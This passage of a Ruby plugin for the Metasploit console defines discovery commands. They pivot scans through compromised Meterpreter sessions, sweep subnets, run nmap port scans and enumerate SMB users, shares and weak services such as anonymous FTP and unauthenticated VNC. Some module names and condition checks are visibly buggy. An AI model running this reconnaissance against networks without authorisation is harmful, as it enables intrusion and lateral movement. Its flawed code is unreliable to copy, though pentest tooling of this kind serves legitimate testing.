  905.             hist_file_name = "#{framework.db.workspace.name}_session_#{i[:id]}_#{::Time.now.strftime("%Y%m%d.%M%S")}.log"
  906.             i.each do |k,v|
  907.               info << "#{k.to_s}: #{v.to_s} "
  908.             end
  909.             break
  910.           end
  911.         end
  912.         hist_file << "# Info: #{info}\n"
  913.         info = ""
  914.         framework.db.workspace.events.each do |e|
  915.           if not e.info.nil? and e.info.has_key?(:command) or e.info.has_key?(:output)
  916.             if e.info[:session_uuid] == su
  917.               if e.info.has_key?(:command)
  918.                 hist_file << "#{e.updated_at}\n"
  919.                 hist_file << "#{e.info[:command]}\n"
  920.               elsif e.info.has_key?(:output)
  921.                 hist_file << "#{e.updated_at}\n"
  922.                 hist_file << "#{e.info[:output]}\n"
  923.               end
  924.             end
  925.           end
  926.         end
  927.  
  928.         # Set RC file path and file name
  929.         session_hist_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
  930.         session_hist_fullpath = ::File.join(session_hist_path,hist_file_name)
  931.  
  932.         # Create folder
  933.         ::FileUtils.mkdir_p(session_hist_path)
  934.  
  935.         print_line("Saving log file to #{session_hist_fullpath}")
  936.         file_write(session_hist_fullpath, hist_file)
  937.         hist_file = ""
  938.         print_line("Log file written")
  939.         log_list << session_hist_fullpath
  940.       end
  941.  
  942.       return log_list
  943.     end
  944.  
  945.     # Compress a given folder given it's path
  946.     #-------------------------------------------------------------------------------------------
  947.     def compress(path,archive)
  948.       require 'zip/zip'
  949.       require 'zip/zipfilesystem'
  950.  
  951.       path.sub!(%r[/$],'')
  952.       ::Zip::ZipFile.open(archive, 'w') do |zipfile|
  953.         Dir["#{path}/**/**"].reject{|f|f==archive}.each do |file|
  954.           print_line("Adding #{file} to archive")
  955.           zipfile.add(file.sub(path+'/',''),file)
  956.         end
  957.       end
  958.       print_line("All files saved to #{archive}")
  959.     end
  960.  
  961.     # Method to write string to file
  962.     def file_write(file2wrt, data2wrt)
  963.       if not ::File.exists?(file2wrt)
  964.         ::FileUtils.touch(file2wrt)
  965.       end
  966.  
  967.       output = ::File.open(file2wrt, "a")
  968.       data2wrt.each_line do |d|
  969.         output.puts(d)
  970.       end
  971.       output.close
  972.     end
  973.  
  974.     # Method to create MD5 of given file
  975.     def digestmd5(file2md5)
  976.       if not ::File.exists?(file2md5)
  977.         raise "File #{file2md5} does not exists!"
  978.       else
  979.         require 'digest/md5'
  980.         chksum = nil
  981.         chksum = Digest::MD5.hexdigest(::File.open(file2md5, "rb") { |f| f.read})
  982.         return chksum
  983.       end
  984.     end
  985.  
  986.     # Method that returns a hash of projects
  987.     def project_list
  988.       project_folders = Dir::entries(::File.join(Msf::Config.log_directory,"projects"))
  989.       projects = []
  990.       framework.db.workspaces.each do |s|
  991.         if project_folders.include?(s.name)
  992.           projects << s.name
  993.         end
  994.       end
  995.       return projects
  996.     end
  997.  
  998.   end
  999.  
  1000.   # Discovery handling commands
  1001.   ################################################################################################
  1002.   class DiscoveryCommandDispatcher
  1003.     include Msf::Ui::Console::CommandDispatcher
  1004.  
  1005.     # Set name for command dispatcher
  1006.     def name
  1007.       "Discovery"
  1008.     end
  1009.  
  1010.  
  1011.     # Define Commands
  1012.     def commands
  1013.       {
  1014.         "network_discover"       => "Performs a port-scan and enumeration of services found for non pivot networks.",
  1015.         "discover_db"            => "Run discovery modules against current hosts in the database.",
  1016.         "show_session_networks"  => "Enumerate the networks one could pivot thru Meterpreter in the active sessions.",
  1017.         "pivot_network_discover" => "Performs enumeration of networks available to a specified Meterpreter session."
  1018.       }
  1019.     end
  1020.  
  1021.  
  1022.     def cmd_discover_db(*args)
  1023.       # Variables
  1024.       range = []
  1025.       filter = []
  1026.       smb_user = nil
  1027.       smb_pass = nil
  1028.       smb_dom = "WORKGROUP"
  1029.       maxjobs = 30
  1030.       verbose = false
  1031.  
  1032.       # Define options
  1033.       opts = Rex::Parser::Arguments.new(
  1034.         "-r"   => [ true,   "Provide a IPRange or CIDR to run discovery module against."],
  1035.         "-U"   => [ true,   "SMB User-name for discovery(optional)."],
  1036.         "-P"   => [ true,   "SMB Password for discovery(optional)."],
  1037.         "-D"   => [ true,   "SMB Domain for discovery(optional)."],
  1038.         "-j"   => [ true,   "Max number of concurrent jobs. Default is 30"],
  1039.         "-v"   => [ false,  "Be Verbose when running jobs."],
  1040.         "-h"   => [ false,  "Help Message."]
  1041.       )
  1042.  
  1043.       opts.parse(args) do |opt, idx, val|
  1044.         case opt
  1045.  
  1046.         when "-r"
  1047.           range = val
  1048.         when "-U"
  1049.           smb_user = val
  1050.         when "-P"
  1051.           smb_pass = val
  1052.         when "-D"
  1053.           smb_dom = val
  1054.         when "-j"
  1055.           maxjobs = val.to_i
  1056.         when "-v"
  1057.           verbose = true
  1058.         when "-h"
  1059.           print_line opts.usage
  1060.           return
  1061.         end
  1062.       end
  1063.  
  1064.       # generate a list of IPs to filter
  1065.       Rex::Socket::RangeWalker.new(range).each do |i|
  1066.         filter << i
  1067.       end
  1068.       #after_hosts = framework.db.workspace.hosts.find_all_by_state("alive")
  1069.       framework.db.workspace.hosts.each do |h|
  1070.         if filter.empty?
  1071.           run_smb(h.services.find_all_by_state("open"),smb_user,smb_pass,smb_dom,maxjobs, verbose)
  1072.           run_version_scans(h.services.find_all_by_state("open"),maxjobs, verbose)
  1073.         else
  1074.           if filter.include?(h.address)
  1075.             # Run the discovery modules for the services of each host
  1076.             run_smb(h.services,smb_user,smb_pass,smb_dom,maxjobs, verbose)
  1077.             run_version_scans(h.services,maxjobs, verbose)
  1078.           end
  1079.         end
  1080.       end
  1081.     end
  1082.  
  1083.  
  1084.     def cmd_show_session_networks(*args)
  1085.       #option variables
  1086.       session_list = nil
  1087.       opts = Rex::Parser::Arguments.new(
  1088.         "-s"   => [ true, "Sessions to enumerate networks against. Example <all> or <1,2,3,4>."],
  1089.         "-h"   => [ false,  "Help Message."]
  1090.       )
  1091.  
  1092.       opts.parse(args) do |opt, idx, val|
  1093.         case opt
  1094.         when "-s"
  1095.           if val =~ /all/i
  1096.             session_list = framework.sessions.keys
  1097.           else
  1098.             session_list = val.split(",")
  1099.           end
  1100.         when "-h"
  1101.           print_line("This command will show the networks that can be routed thru a Meterpreter session.")
  1102.           print_line(opts.usage)
  1103.           return
  1104.         else
  1105.           print_line("This command will show the networks that can be routed thru a Meterpreter session.")
  1106.           print_line(opts.usage)
  1107.           return
  1108.         end
  1109.       end
  1110.       tbl = Rex::Ui::Text::Table.new(
  1111.         'Columns' => [
  1112.           'Network',
  1113.           'Netmask',
  1114.           'Session'
  1115.         ])
  1116.       # Go thru each sessions specified
  1117.       session_list.each do |si|
  1118.         # check that session actually exists
  1119.         if framework.sessions.keys.include?(si.to_i)
  1120.           # Get session object
  1121.           session = framework.sessions.get(si.to_i)
  1122.           # Check that it is a Meterpreter session
  1123.           if (session.type == "meterpreter")
  1124.             session.net.config.each_route do |route|
  1125.               # Remove multicast and loopback interfaces
  1126.               next if route.subnet =~ /^(224\.|127\.)/
  1127.               next if route.subnet == '0.0.0.0'
  1128.               next if route.netmask == '255.255.255.255'
  1129.               tbl << [route.subnet, route.netmask, si]
  1130.             end
  1131.           end
  1132.         end
  1133.       end
  1134.       print_line(tbl.to_s)
  1135.     end
  1136.  
  1137.  
  1138.     def cmd_pivot_network_discover(*args)
  1139.       #option variables
  1140.       session_id = nil
  1141.       port_scan  = false
  1142.       udp_scan   = false
  1143.       disc_mods = false
  1144.       smb_user = nil
  1145.       smb_pass = nil
  1146.       smb_dom = "WORKGROUP"
  1147.       verbose = false
  1148.       port_lists = []
  1149.  
  1150.       opts = Rex::Parser::Arguments.new(
  1151.         "-s"   => [ true,   "Session to do discovery of networks and hosts."],
  1152.         "-t"   => [ false,  "Perform TCP port scan of hosts discovered."],
  1153.         "-u"   => [ false,  "Perform UDP scan of hosts discovered."],
  1154.         "-p"   => [ true,   "Port list. Provide a comma separated list of port and/or ranges to TCP scan."],
  1155.         "-d"   => [ false,  "Run Framework discovery modules against found hosts."],
  1156.         "-U"   => [ true,   "SMB User-name for discovery(optional)."],
  1157.         "-P"   => [ true,   "SMB Password for discovery(optional)."],
  1158.         "-D"   => [ true,   "SMB Domain for discovery(optional)."],
  1159.         "-v"   => [ false,  "Be verbose and show pending actions."],
  1160.         "-h"   => [ false,  "Help Message."]
  1161.       )
  1162.  
  1163.       opts.parse(args) do |opt, idx, val|
  1164.         case opt
  1165.         when "-s"
  1166.           session_id =  val.to_i
  1167.         when "-t"
  1168.           port_scan = true
  1169.         when "-u"
  1170.           udp_scan = true
  1171.         when "-d"
  1172.           disc_mods = true
  1173.         when "-U"
  1174.           smb_user = val
  1175.         when "-P"
  1176.           smb_pass = val
  1177.         when "-D"
  1178.           smb_dom = val
  1179.         when "-v"
  1180.           verbose = true
  1181.         when "-p"
  1182.           port_lists = port_lists + Rex::Socket.portspec_crack(val)
  1183.         when "-h"
  1184.           print_line(opts.usage)
  1185.           return
  1186.         else
  1187.           print_line(opts.usage)
  1188.           return
  1189.         end
  1190.       end
  1191.  
  1192.       if session_id.nil?
  1193.         print_error("You need to specify a Session to do discovery against.")
  1194.         print_line(opts.usage)
  1195.         return
  1196.       end
  1197.       # Static UDP port list
  1198.       udp_ports = [53,67,137,161,123,138,139,1434,5093,523,1604]
  1199.  
  1200.       # Variable to hold the array of networks that we will discover
  1201.       networks = []
  1202.       # Switchboard instace for routing
  1203.       sb = Rex::Socket::SwitchBoard.instance
  1204.       if framework.sessions.keys.include?(session_id.to_i)
  1205.         # Get session object
  1206.         session = framework.sessions.get(session_id.to_i)
  1207.         if (session.type == "meterpreter")
  1208.           # Collect addresses to help determine the best method for discovery
  1209.           int_addrs = []
  1210.           session.net.config.interfaces.each do |i|
  1211.             int_addrs = int_addrs + i.addrs
  1212.           end
  1213.           print_status("Identifying networks to discover")
  1214.           session.net.config.each_route { |route|
  1215.             # Remove multicast and loopback interfaces
  1216.             next if route.subnet =~ /^(224\.|127\.)/
  1217.             next if route.subnet == '0.0.0.0'
  1218.             next if route.netmask == '255.255.255.255'
  1219.             # Save the network in to CIDR format
  1220.             networks << "#{route.subnet}/#{Rex::Socket.addr_atoc(route.netmask)}"
  1221.             if port_scan || udp_scan
  1222.               if not sb.route_exists?(route.subnet, route.netmask)
  1223.                 print_status("Routing new subnet #{route.subnet}/#{route.netmask} through session #{session.sid}")
  1224.                 sb.add_route(route.subnet, route.netmask, session)
  1225.               end
  1226.             end
  1227.           }
  1228.           # Run ARP Scan and Ping Sweep for each of the networks
  1229.           networks.each do |n|
  1230.             opt = {"RHOSTS" => n}
  1231.             # Check if any of the networks is directly connected. If so use ARP Scanner
  1232.             net_ips = []
  1233.             Rex::Socket::RangeWalker.new(n).each {|i| net_ips << i}
  1234.             if int_addrs.any? {|ip| net_ips.include?(ip) }
  1235.               run_post(session_id, "windows/gather/arp_scanner", opt)
  1236.             else
  1237.               run_post(session_id, "multi/gather/ping_sweep", opt)
  1238.             end
  1239.           end
  1240.  
  1241.           # See what hosts where discovered via the ping scan and ARP Scan
  1242.           hosts_on_db = framework.db.workspace.hosts.map { |h| h.address}
  1243.  
  1244.           if port_scan
  1245.             if port_lists.length > 0
  1246.               ports = port_lists
  1247.             else
  1248.               # Generate port list that are supported by modules in Metasploit
  1249.               ports = get_tcp_port_list
  1250.             end
  1251.           end
  1252.  
  1253.           networks.each do |n|
  1254.             print_status("Discovering #{n} Network")
  1255.             net_hosts = []
  1256.             Rex::Socket::RangeWalker.new(n).each {|i| net_hosts << i}
  1257.             found_ips = hosts_on_db & net_hosts
  1258.  
  1259.             # run portscan against hosts in this network
  1260.             if port_scan
  1261.               found_ips.each do |t|
  1262.                 print_good("Running TCP Portscan against #{t}")
  1263.                 run_aux_module("scanner/portscan/tcp", {"RHOSTS" => t,
  1264.                            "PORTS"=> (ports * ","),
  1265.                            "THREADS" => 5,
  1266.                            "CONCURRENCY" => 50,
  1267.                            "ConnectTimeout" => 1})
  1268.                 jobwaiting(10,false, "scanner")
  1269.               end
  1270.             end
  1271.  
  1272.             # if a udp port scan was selected lets execute it
  1273.             if udp_scan
  1274.               found_ips.each do |t|
  1275.                 print_good("Running UDP Portscan against #{t}")
  1276.                 run_aux_module("scanner/discovery/udp_probe", {"RHOSTS" => t,
  1277.                            "PORTS"=> (udp_ports * ","),
  1278.                            "THREADS" => 5})
  1279.                 jobwaiting(10,false,"scanner")
  1280.               end
  1281.             end
  1282.  
  1283.             # Wait for the scanners to finish before running the discovery modules
  1284.             if port_scan || udp_scan
  1285.               print_status("Waiting for scans to finish")
  1286.               finish_scanning = false
  1287.               while not finish_scanning
  1288.                 ::IO.select(nil, nil, nil, 2.5)
  1289.                 count = get_job_count
  1290.                 if verbose
  1291.                   print_status("\t#{count} scans pending")
  1292.                 end
  1293.                 if count == 0
  1294.                   finish_scanning = true
  1295.                 end
  1296.               end
  1297.             end
  1298.  
  1299.             # Run discovery modules against the services that are for the hosts in the database
  1300.             if disc_mods
  1301.               found_ips.each do |t|
  1302.                 host = framework.db.find_or_create_host(:host => t)
  1303.                 found_services = host.services.find_all_by_state("open")
  1304.                 if found_services.length > 0
  1305.                   print_good("Running SMB discovery against #{t}")
  1306.                   run_smb(found_services,smb_user,smb_pass,smb_dom,10,true)
  1307.                   print_good("Running service discovery against #{t}")
  1308.                   run_version_scans(found_services,10,true)
  1309.                 else
  1310.                   print_status("No new services where found to enumerate.")
  1311.                 end
  1312.               end
  1313.             end
  1314.           end
  1315.         end
  1316.       else
  1317.         print_error("The Session specified does not exist")
  1318.       end
  1319.     end
  1320.  
  1321.  
  1322.     # Network Discovery command
  1323.     def cmd_network_discover(*args)
  1324.       # Variables
  1325.       scan_type = "-A"
  1326.       range = ""
  1327.       disc_mods =  false
  1328.       smb_user = nil
  1329.       smb_pass = nil
  1330.       smb_dom = "WORKGROUP"
  1331.       maxjobs = 30
  1332.       verbose = false
  1333.       port_lists = []
  1334.       # Define options
  1335.       opts = Rex::Parser::Arguments.new(
  1336.         "-r"   => [ true,   "IP Range to scan in CIDR format."],
  1337.         "-d"   => [ false,  "Run Framework discovery modules against found hosts."],
  1338.         "-u"   => [ false,  "Perform UDP Scanning. NOTE: Must be ran as root."],
  1339.         "-U"   => [ true,   "SMB User-name for discovery(optional)."],
  1340.         "-P"   => [ true,   "SMB Password for discovery(optional)."],
  1341.         "-D"   => [ true,   "SMB Domain for discovery(optional)."],
  1342.         "-j"   => [ true,   "Max number of concurrent jobs. Default is 30"],
  1343.         "-p"   => [ true,   "Port list. Provide a comma separated list of port and/or ranges to TCP scan."],
  1344.         "-v"   => [ false,  "Be Verbose when running jobs."],
  1345.         "-h"   => [ true,   "Help Message."]
  1346.       )
  1347.  
  1348.       if args.length == 0
  1349.         print_line opts.usage
  1350.         return
  1351.       end
  1352.  
  1353.       opts.parse(args) do |opt, idx, val|
  1354.         case opt
  1355.  
  1356.         when "-r"
  1357.           # Make sure no spaces are in the range definition
  1358.           range = val.gsub(" ","")
  1359.         when "-d"
  1360.           disc_mods = true
  1361.         when "-u"
  1362.           scan_type = "-sU"
  1363.         when "-U"
  1364.           smb_user = val
  1365.         when "-P"
  1366.           smb_pass = val
  1367.         when "-D"
  1368.           smb_dom = val
  1369.         when "-j"
  1370.           maxjobs = val.to_i
  1371.         when "-v"
  1372.           verbose = true
  1373.         when "-p"
  1374.           port_lists = port_lists + Rex::Socket.portspec_crack(val)
  1375.         when "-h"
  1376.           print_line opts.usage
  1377.           return
  1378.         end
  1379.       end
  1380.  
  1381.       # Static UDP port list
  1382.       udp_ports = [53,67,137,161,123,138,139,1434,5093,523,1604]
  1383.  
  1384.       # Check that the ragne is a valid one
  1385.       ip_list = Rex::Socket::RangeWalker.new(range)
  1386.       ips_given = []
  1387.       if ip_list.length == 0
  1388.         print_error("The IP Range provided appears to not be valid.")
  1389.       else
  1390.         ip_list.each do |i|
  1391.           ips_given << i
  1392.         end
  1393.       end
  1394.  
  1395.       # Get the list of IP's that are routed thru a Pivot
  1396.       route_ips = get_routed_ips
  1397.  
  1398.       if port_lists.length > 0
  1399.         ports = port_lists
  1400.       else
  1401.         # Generate port list that are supported by modules in Metasploit
  1402.         ports = get_tcp_port_list
  1403.       end
  1404.       if (ips_given.any? {|ip| route_ips.include?(ip)})
  1405.         print_error("Trying to scan thru a Pivot please use pivot_net_discovery command")
  1406.         return
  1407.       else
  1408.         # Collect current set of hosts and services before the scan
  1409.         current_hosts = framework.db.workspace.hosts.find_all_by_state("alive")
  1410.         current_services = framework.db.workspace.services.find_all_by_state("open")
  1411.  
  1412.         # Run the nmap scan, this will populate the database with the hosts and services that will be processed by the discovery modules
  1413.         if scan_type =~ /-A/
  1414.           cmd_str = "#{scan_type} -T4 -p #{ports * ","} --max-rtt-timeout=500ms --initial-rtt-timeout=200ms --min-rtt-timeout=200ms --open --stats-every 5s #{range}"
  1415.           run_porscan(cmd_str)
  1416.         else
  1417.           cmd_str = "#{scan_type} -T4 -p #{udp_ports * ","} --max-rtt-timeout=500ms --initial-rtt-timeout=200ms --min-rtt-timeout=200ms --open --stats-every 5s #{range}"
  1418.           run_porscan(cmd_str)
  1419.         end
  1420.         # Get a list of the new hosts and services after the scan and extract the new services and hosts
  1421.         after_hosts = framework.db.workspace.hosts.find_all_by_state("alive")
  1422.         after_services = framework.db.workspace.services.find_all_by_state("open")
  1423.         new_hosts = after_hosts - current_hosts
  1424.         print_good("New hosts found: #{new_hosts.count}")
  1425.         new_services = after_services - current_services
  1426.         print_good("New services found: #{new_services.count}")
  1427.       end
  1428.  
  1429.       if disc_mods
  1430.         # Do service discovery only if new services where found
  1431.         if new_services.count > 0
  1432.           run_smb(new_services,smb_user,smb_pass,smb_dom,maxjobs,verbose)
  1433.           run_version_scans(new_services,maxjobs,verbose)
  1434.         else
  1435.           print_status("No new services where found to enumerate.")
  1436.         end
  1437.       end
  1438.     end
  1439.  
  1440.  
  1441.     # Run Post Module against specified session and hash of options
  1442.     def run_post(session, mod, opts)
  1443.       m = framework.post.create(mod)
  1444.       begin
  1445.         # Check that the module is compatible with the session specified
  1446.         if m.session_compatible?(session.to_i)
  1447.           m.datastore['SESSION'] = session.to_i
  1448.           # Process the option provided as a hash
  1449.           opts.each do |o,v|
  1450.             m.datastore[o] = v
  1451.           end
  1452.           # Validate the Options
  1453.           m.options.validate(m.datastore)
  1454.           # Inform what Post module is being ran
  1455.           print_status("Running #{mod} against #{session}")
  1456.           # Execute the Post Module
  1457.           m.run_simple(
  1458.             'LocalInput'  => driver.input,
  1459.             'LocalOutput' => driver.output
  1460.             )
  1461.         end
  1462.       rescue
  1463.         print_error("Could not run post module against sessions #{s}")
  1464.       end
  1465.     end
  1466.  
  1467.  
  1468.     # Remove services marked as close
  1469.     def cleanup()
  1470.       print_status("Removing services reported as closed from the workspace...")
  1471.       framework.db.workspace.services.find_all_by_state("closed").each do |s|
  1472.         s.destroy
  1473.       end
  1474.       print_status("All services reported removed.")
  1475.     end
  1476.  
  1477.  
  1478.     # Get the specific count of jobs which name contains a specified text
  1479.     def get_job_count(type="scanner")
  1480.       job_count = 0
  1481.       framework.jobs.each do |k,j|
  1482.         if j.name =~ /#{type}/
  1483.           job_count =  job_count + 1
  1484.         end
  1485.       end
  1486.       return job_count
  1487.     end
  1488.  
  1489.  
  1490.     # Wait for commands to finish
  1491.     def jobwaiting(maxjobs, verbose, jtype)
  1492.       while(get_job_count(jtype) >= maxjobs)
  1493.         ::IO.select(nil, nil, nil, 2.5)
  1494.         if verbose
  1495.           print_status("waiting for some modules to finish")
  1496.         end
  1497.       end
  1498.     end
  1499.  
  1500.  
  1501.     # Get a list of IP's that are routed thru a Meterpreter sessions
  1502.     # Note: This one bit me hard!! in testing. Make sure that the proper module is ran against
  1503.     # the proper host
  1504.     def get_routed_ips
  1505.       routed_ips = []
  1506.       pivot = Rex::Socket::SwitchBoard.instance
  1507.       unless (pivot.routes.to_s == "") || (pivot.routes.to_s == "[]")
  1508.         pivot.routes.each do |r|
  1509.           sn = r.subnet
  1510.           nm = r.netmask
  1511.           cidr = Rex::Socket.addr_atoc(nm)
  1512.           pivot_ip_range = Rex::Socket::RangeWalker.new("#{sn}/#{cidr}")
  1513.           pivot_ip_range.each do |i|
  1514.             routed_ips << i
  1515.           end
  1516.         end
  1517.       end
  1518.       return routed_ips
  1519.     end
  1520.  
  1521.  
  1522.     # Method for running auxiliary modules given the module name and options in a hash
  1523.     def run_aux_module(mod, opts, as_job=true)
  1524.       m = framework.auxiliary.create(mod)
  1525.       opts.each do |o,v|
  1526.         m.datastore[o] = v
  1527.       end
  1528.       m.options.validate(m.datastore)
  1529.       m.run_simple(
  1530.         'LocalInput'  => driver.input,
  1531.         'LocalOutput' => driver.output,
  1532.         'RunAsJob'    => as_job
  1533.       )
  1534.     end
  1535.  
  1536.  
  1537.     # Generate an up2date list of ports used by exploit modules
  1538.     def get_tcp_port_list
  1539.       # UDP ports
  1540.       udp_ports = [53,67,137,161,123,138,139,1434]
  1541.  
  1542.       # Ports missing by the autogen
  1543.       additional_ports = [465,587,995,993,5433,50001,50002,1524, 6697, 8787, 41364, 48992, 49663, 59034]
  1544.  
  1545.       print_status("Generating list of ports used by Auxiliary Modules")
  1546.       ap = (framework.auxiliary.collect { |n,e| x=e.new; x.datastore['RPORT'].to_i}).compact
  1547.       print_status("Generating list of ports used by Exploit Modules")
  1548.       ep = (framework.exploits.collect { |n,e| x=e.new; x.datastore['RPORT'].to_i}).compact
  1549.  
  1550.       # Join both list removing the duplicates
  1551.       port_list = (((ap | ep) - [0,1]) - udp_ports) + additional_ports
  1552.       return port_list
  1553.     end
  1554.  
  1555.  
  1556.     # Run Nmap scan with values provided
  1557.     def run_porscan(cmd_str)
  1558.       print_status("Running NMap with options #{cmd_str}")
  1559.       driver.run_single("db_nmap #{cmd_str}")
  1560.       return true
  1561.     end
  1562.  
  1563.  
  1564.     # Run SMB Enumeration modules
  1565.     def run_smb(services, user, pass, dom, maxjobs, verbose)
  1566.       smb_mods = [
  1567.         {"mod" => "scanner/smb/smb_version",    "opt" => nil},
  1568.         {"mod" => "scanner/smb/smb_enumusers",  "opt" => nil},
  1569.         {"mod" => "scanner/smb/smb_enumshares", "opt" => nil},
  1570.       ]
  1571.       smb_mods.each do |p|
  1572.         m = framework.auxiliary.create(p["mod"])
  1573.         services.each do |s|
  1574.           if s.port == 445
  1575.             m.datastore['RHOSTS'] = s.host.address
  1576.             if not user.nil? and pass.nil?
  1577.               m.datastore['SMBUser'] = user
  1578.               m.datastore['SMBPass'] = pass
  1579.               m.datastore['SMBDomain'] = dom
  1580.             end
  1581.             m.options.validate(m.datastore)
  1582.             print_status("Running #{p['mod']} against #{s.host.address}")
  1583.             m.run_simple(
  1584.               'LocalInput'  => driver.input,
  1585.               'LocalOutput' => driver.output
  1586.             )
  1587.           end
  1588.  
  1589.         end
  1590.         jobwaiting(maxjobs,verbose,"scanner")
  1591.       end
  1592.     end
  1593.  
  1594.  
  1595.     # Run version and discovery auxiliary modules depending on port that is open
  1596.     def run_version_scans(services, maxjobs, verbose)
  1597.       # Run version scan by identified services
  1598.       services.each do |s|
  1599.         if (s.port == 135) and s.info.to_s == ""
  1600.           opts = {'RHOSTS' => s.host.address}
  1601.           run_aux_module("scanner/netbios/nbname_probe",opts)
  1602.           jobwaiting(maxjobs,verbose,"scanner")
  1603.  
  1604.         elsif (s.name.to_s == "http" || s.port == 80) and s.info.to_s == ""
  1605.           opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
  1606.           run_aux_module("scanner/http/http_version",opts)
  1607.           run_aux_module("scanner/http/robots_txt",opts)
  1608.           run_aux_module("scanner/http/open_proxy",opts)
  1609.           run_aux_module("scanner/http/webdav_scanner",opts)
  1610.           run_aux_module("scanner/http/http_put",opts)
  1611.           jobwaiting(maxjobs,verbose,"scanner")
  1612.           next
  1613.  
  1614.         elsif (s.port == 1720) and s.info.to_s == ""
  1615.           opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
  1616.           run_aux_module("scanner/h323/h323_version",opts)
  1617.           jobwaiting(maxjobs,verbose,"scanner")
  1618.           next
  1619.  
  1620.         elsif (s.name.to_s =~ /http/ or s.port == 443) and s.info.to_s == ""
  1621.           opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
  1622.           run_aux_module("scanner/http/http_version",opts)
  1623.           run_aux_module("scanner/vmware/esx_fingerprint",opts)
  1624.           run_aux_module("scanner/http/robots_txt",opts)
  1625.           run_aux_module("scanner/http/open_proxy",opts)
  1626.           run_aux_module("scanner/http/webdav_scanner",opts)
  1627.           run_aux_module("scanner/http/http_put",opts)
  1628.           jobwaiting(maxjobs,verbose,"scanner")
  1629.           next
  1630.  
  1631.         elsif (s.name.to_s == "ftp" or s.port == 21) and s.info.to_s == ""
  1632.           opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
  1633.           run_aux_module("scanner/ftp/ftp_version",opts)
  1634.           run_aux_module("scanner/ftp/anonymous",opts)
  1635.           jobwaiting(maxjobs,verbose,"scanner")
  1636.           next
  1637.  
  1638.         elsif (s.name.to_s == "telnet" or s.port == 23) and s.info.to_s == ""
  1639.           opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
  1640.           run_aux_module("scanner/telnet/telnet_version",opts)
  1641.           run_aux_module("scanner/telnet/telnet_encrypt_overflow",opts)
  1642.           jobwaiting(maxjobs,verbose,"scanner")
  1643.           next
  1644.  
  1645.         elsif (s.name.to_s =~ /vmware-auth|vmauth/ or s.port == 902) and s.info.to_s == ""
  1646.           opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
  1647.           run_aux_module("scanner/vmware/vmauthd_version)",opts)
  1648.           jobwaiting(maxjobs,verbose,"scanner")
  1649.           next
  1650.  
  1651.         elsif (s.name.to_s == "ssh" or s.port == 22) and s.info.to_s == ""
  1652.           opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
  1653.           run_aux_module("scanner/ssh/ssh_version",opts)
  1654.           jobwaiting(maxjobs,verbose,"scanner")
  1655.           next
  1656.  
  1657.         elsif (s.name.to_s == "smtp" or s.port.to_s =~/25|465|587/) and s.info.to_s == ""
  1658.           if s.port == 465
  1659.             opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
  1660.           else
  1661.             opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
  1662.           end
  1663.           run_aux_module("scanner/smtp/smtp_version",opts)
  1664.           jobwaiting(maxjobs,verbose,"scanner")
  1665.           next
  1666.  
  1667.         elsif (s.name.to_s == "pop3" or s.port.to_s =~/110|995/) and s.info.to_s == ""
  1668.           if s.port == 995
  1669.             opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
  1670.           else
  1671.             opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
  1672.           end
  1673.           run_aux_module("scanner/pop3/pop3_version",opts)
  1674.           jobwaiting(maxjobs,verbose,"scanner")
  1675.           next
  1676.  
  1677.         elsif (s.name.to_s == "imap" or s.port.to_s =~/143|993/) and s.info.to_s == ""
  1678.           if s.port == 993
  1679.             opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
  1680.           else
  1681.             opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
  1682.           end
  1683.           run_aux_module("scanner/imap/imap_version",opts)
  1684.           jobwaiting(maxjobs,verbose,"scanner")
  1685.           next
  1686.  
  1687.         elsif (s.name.to_s == "mssql" or s.port == 1433) and s.info.to_s == ""
  1688.           opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
  1689.           run_aux_module("scanner/mssql/mssql_versione",opts)
  1690.           jobwaiting(maxjobs,verbose,"scanner")
  1691.           next
  1692.  
  1693.         elsif (s.name.to_s == "postgres" or s.port.to_s =~/5432|5433/) and s.info.to_s == ""
  1694.           opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
  1695.           run_aux_module("scanner/postgres/postgres_version",opts)
  1696.           jobwaiting(maxjobs,verbose, "scanner")
  1697.           next
  1698.  
  1699.         elsif (s.name.to_s == "mysql" or s.port == 3306) and s.info.to_s == ""
  1700.           opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
  1701.           run_aux_module("scanner/mysql/mysql_version",opts)
  1702.           jobwaiting(maxjobs,verbose, "scanner")
  1703.           next
  1704.  
  1705.         elsif (s.name.to_s =~ /h323/ or s.port == 1720) and s.info.to_s == ""
  1706.           opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
  1707.           run_aux_module("scanner/h323/h323_version",opts)
  1708.           jobwaiting(maxjobs,verbose, "scanner")
  1709.           next
  1710.  
  1711.         elsif (s.name.to_s =~ /afp/ or s.port == 548)
  1712.           opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
  1713.           run_aux_module("scanner/afp/afp_server_info",opts)
  1714.           jobwaiting(maxjobs,verbose, "scanner")
  1715.           next
  1716.  
  1717.         elsif (s.name.to_s =~ /http/i || s.port == 443) and s.info.to_s =~ /vmware/i
  1718.           opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
  1719.           run_aux_module("scanner/vmware/esx_fingerprint",opts)
  1720.           jobwaiting(maxjobs,verbose, "scanner")
  1721.           next
  1722.  
  1723.         elsif (s.name.to_s =~ /vnc/i || s.port == 5900)
  1724.           opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
  1725.           run_aux_module("scanner/vnc/vnc_none_auth",opts)
  1726.           jobwaiting(maxjobs,verbose, "scanner")
  1727.           next
  1728.  
  1729.         elsif (s.name.to_s =~ /jetdirect/i || s.port == 9100)
  1730.           opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
  1731.           run_aux_module("scanner/printer/printer_version_info",opts)
